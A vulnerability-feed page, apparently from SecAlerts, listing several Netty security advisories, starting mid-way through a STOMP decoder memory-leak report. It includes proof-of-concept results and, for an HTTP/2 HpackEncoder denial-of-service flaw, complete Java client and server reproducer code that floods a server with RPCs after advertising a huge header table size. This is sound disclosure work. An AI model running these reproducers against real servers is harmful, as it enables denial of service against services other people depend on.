The result is that between "body complete" and "NUL received" the decoder holds an allocator buffer with no release path other than the arrival of one specific byte that the peer controls.

Proof of concept

PocStompLeak.java drives the released io.netty:netty-codec-stomp:4.2.17.Final through EmbeddedChannel with a counting allocator that records every buffer the channel allocates, then reports which are still referenced after the channel is closed. Build and run with the attached pom.xml:

docker run --rm -v "$PWD:/work" -w /work maven:3-eclipse-temurin-21 mvn -q -B compile exec:java

Observed output:

=============== SINGLE CONNECTION ===============

CONTROL frame WITH trailing NUL buffers never freed : 0 bytes never freed : 0

ATTACK frame WITHOUT trailing NUL buffers never freed : 1 bytes never freed : 8,132

=============== SUSTAINED (500 CONNECTIONS) =============== connections : 500 buffers never freed : 500 bytes never freed : 4,066,000 (3.9 MiB) leaked per connection: 8,132 bytes

The control is the load-bearing part. It sends the byte-for-byte identical frame with its trailing NUL present, and leaks nothing. Because the only difference between the two runs is one byte, the leak is attributable to the missing terminator rather than to the harness or to how EmbeddedChannel is torn down.

The fix was verified the same way. Recompiling the decoder with the suggested patch and letting it shadow the released class, then re-running the identical PoC, gives 0 buffers and 0 bytes across all 500 connections.

Impact

A remote peer can permanently consume allocator memory in any application using netty's STOMP codec, at one buffer per connection, and can then disconnect. This is reachable before any application-level authentication, since a STOMP frame is sent immediately on connect.

Two properties matter more than raw volume here.

The memory is never reclaimed. This is not per-connection state that is released when the peer goes away, which is the usual shape of a resource-consumption issue; the buffer outlives the channel entirely. With PooledByteBufAllocator, netty's default, the underlying region is never returned to the pool, so neither disconnection nor garbage collection recovers it. Over a long-running process the leak is monotonic.

The attacker does not need to hold anything open. Because the leak survives the connection, an attacker can open, leak, and close in a tight loop, presenting a traffic pattern indistinguishable from clients that time out or crash mid-frame. There is no long-lived connection to spot and no rate-limit signature beyond ordinary connection churn.

We should be straightforward about what this is not. The leak is roughly one-to-one with bandwidth: leaking an 8,132 byte buffer requires sending 8,132 bytes, because the buffer is only parked once the declared content-length has actually been received. There is no amplification. The severity argument rests on permanence, not on ratio - normal traffic accumulates nothing, whereas this accumulates everything and never gives it back.

The body size is chosen by th

[truncated]

Affected: - maven:io.netty:netty-codec-stomp affected <= 4.1.137.Final; fixed unknown - maven:io.netty:netty-codec-stomp affected >= 4.2.0.Final, <= 4.2.17.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-ghg5-c4jg-8q5j

First published (updated )
Severity
5.9
EPSS
0.22%
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

A flaw was found in Netty's netty-handler-ssl-ocsp component. A remote attacker can exploit this vulnerability by providing an Online Certificate Status Protocol (OCSP) response that omits the optional nextUpdate field. This omission causes the OCSP validation to be silently skipped, leading to applications proceeding with an unvalidated certificate. This can result in a bypass of security controls where certificate validation is expected.

1 / 2
Source: MITRE
First published (updated )
Severity
5.3
EPSS
0.37%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

A flaw was found in Netty's HTTP/2 HpackEncoder. A remote attacker can exploit this by sending HTTP/2 SETTINGS frames with a very large MAXHEADERTABLESIZE. This causes the HpackEncoder to store an excessive number of unique headers, leading to increased CPU usage and memory consumption, ultimately resulting in a Denial of Service (DoS).

1 / 2
Source: MITRE
First published (updated )
Severity
4

HTTP/2 HpackEncoder DoS with large table size

A public GitHub Security Advisory (GHSA-8352-h356-c9qh) describes the following issue:

Summary A client can send SETTINGS with a very large MAXHEADERTABLESIZE to cause HpackEncoder to save all unique send headers. Those can accumulate over time and cause a CPU or memory DoS.

Details If a client sends SETTINGS with a very large MAXHEADERTABLESIZE, it is propagated directly through DefaultHttp2HeadersEncoder.maxHeaderTableSize() to HpackEncoder.setMaxHeaderTableSize(). HpackEncoder then uses the received value directly and will happily fill the table with every unique header sent by the server, eventually causing excessive O(n²) chain scanning in HpackeEncoder.getEntryInsensitive().

This was found when trying to produce a PoC for a memory DoS caused by retaining all unique header fields. I was expecting to get ~2 GiB of memory usage, but memory use was significantly less. I tracked that down to slowing QPS and then to the CPU DoS. The fix for both is the same: cap the table size, maybe as a function of arraySizeHint.

PoC java import io.netty.bootstrap.Bootstrap; import io.netty.channel.Channel; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelInboundHandlerAdapter; import io.netty.channel.ChannelInitializer; import io.netty.channel.EventLoopGroup; import io.netty.channel.SimpleChannelInboundHandler; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.SocketChannel; import io.netty.channel.socket.nio.NioSocketChannel; import io.netty.handler.codec.http2.DefaultHttp2Headers; import io.netty.handler.codec.http2.DefaultHttp2HeadersFrame; import io.netty.handler.codec.http2.Http2FrameCodecBuilder; import io.netty.handler.codec.http2.Http2Headers; import io.netty.handler.codec.http2.Http2HeadersFrame; import io.netty.handler.codec.http2.Http2MultiplexHandler; import io.netty.handler.codec.http2.Http2Settings; import io.netty.handler.codec.http2.Http2StreamChannel; import io.netty.handler.codec.http2.Http2StreamChannelBootstrap; import io.netty.handler.codec.http2.Http2StreamFrame; import io.netty.util.concurrent.Future;

import java.util.concurrent.CompletableFuture; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicInteger;

public final class Http2Client {

static final String HOST = "127.0.0.1"; static final int PORT = 8080;

public static void main(String[] args) throws Exception { // Configure client-sent HTTP/2 SETTINGS Http2Settings settings = Http2Settings.defaultSettings(); settings.headerTableSize(Integer.MAXVALUE);

EventLoopGroup group = new NioEventLoopGroup(1); try { Bootstrap b = new Bootstrap() .group(group) .channel(NioSocketChannel.class) .remoteAddress(HOST, PORT) .handler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast( Http2FrameCodecBuilder.forClient() .initialSettings(settings) .build(), new Http2MultiplexHandler(new ChannelInboundHandlerAdapter())); } });

Channel ch = b.connect().sync().channel(); AtomicInteger count = new AtomicInteger();

for (int i = 0; i < 10; i++) { startRpcs(ch, count); }

while (true) { Thread.sleep(1000); System.out.println("RPCs completed: " + count.getAndSet(0)); } } finally { group.shutdownGracefully(); } }

private static void startRpcs(Channel ch, AtomicInteger count) throws Exception { new Http2StreamChannelBootstrap(ch) .handler(new SimpleChannelInboundHandler<Http2StreamFrame>() { @Override protected void channelRead0(ChannelHandlerContext ctx, Http2StreamFrame msg) throws Exception { if (!(msg instanceof Http2HeadersFrame)) { System.out.println("Unexpected response frame: " + msg); return; } if (!((Http2HeadersFrame) msg).isEndStream()) { System.out.println("Surprising header response: " + msg); return; } count.incrementAndGet(); startRpcs(ch, count); } }) .open() .addListener((Future<Http2StreamChannel> f) -> { Http2Headers headers = new DefaultHttp2Headers() .method("GET") .path("/") .scheme("http"); f.getNow().writeAndFlush(new DefaultHttp2HeadersFrame(headers, true)); }); } } java import io.netty.bootstrap.ServerBootstrap; import io.netty.buffer.ByteBufUtil; import io.netty.channel.Channel; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelInitializer; import io.netty.channel.EventLoopGroup; import io.netty.channel.SimpleChannelInboundHandler; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.SocketChannel; import io.netty.channel.socket.nio.NioServerSocketChannel; import io.netty.handler.codec.http2.DefaultHttp2Headers; import io.netty.handler.codec.http2.DefaultHttp2HeadersFrame; import io.netty.handler.codec.http2.Http2DataFrame; import io.netty.handler.codec.http2.Http2FrameCodecBuilder; import io.netty.handler.codec.http2.Http2Headers; import io.netty.handler.codec.http2.Http2HeadersFrame; import io.netty.handler.codec.http2.Http2MultiplexHandler; import io.netty.handler.codec.http2.Http2StreamChannel; import io.netty.handler.codec.http2.Http2StreamFrame;

import java.util.concurrent.ThreadLocalRandom;

public final class Http2Server { static final int PORT = 8080;

public static void main(String[] args) throws Exception { EventLoopGroup group = new NioEventLoopGroup(1); try { ServerBootstrap b = new ServerBootstrap() .group(group) .channel(NioServerS

[truncated]

Affected: - maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http2 affected <= 4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-8352-h356-c9qh

First published (updated )
Severity
7.5
EPSS
0.48%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in Netty's HttpServerCodec. A remote, unauthenticated attacker can exploit this vulnerability by pipelining HTTP/1.1 requests on a single connection and withholding reads. This action causes the methodOverflowQueue to grow without limit, leading to unbounded heap memory consumption and a denial of service due to memory exhaustion.

1 / 2
Source: MITRE
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203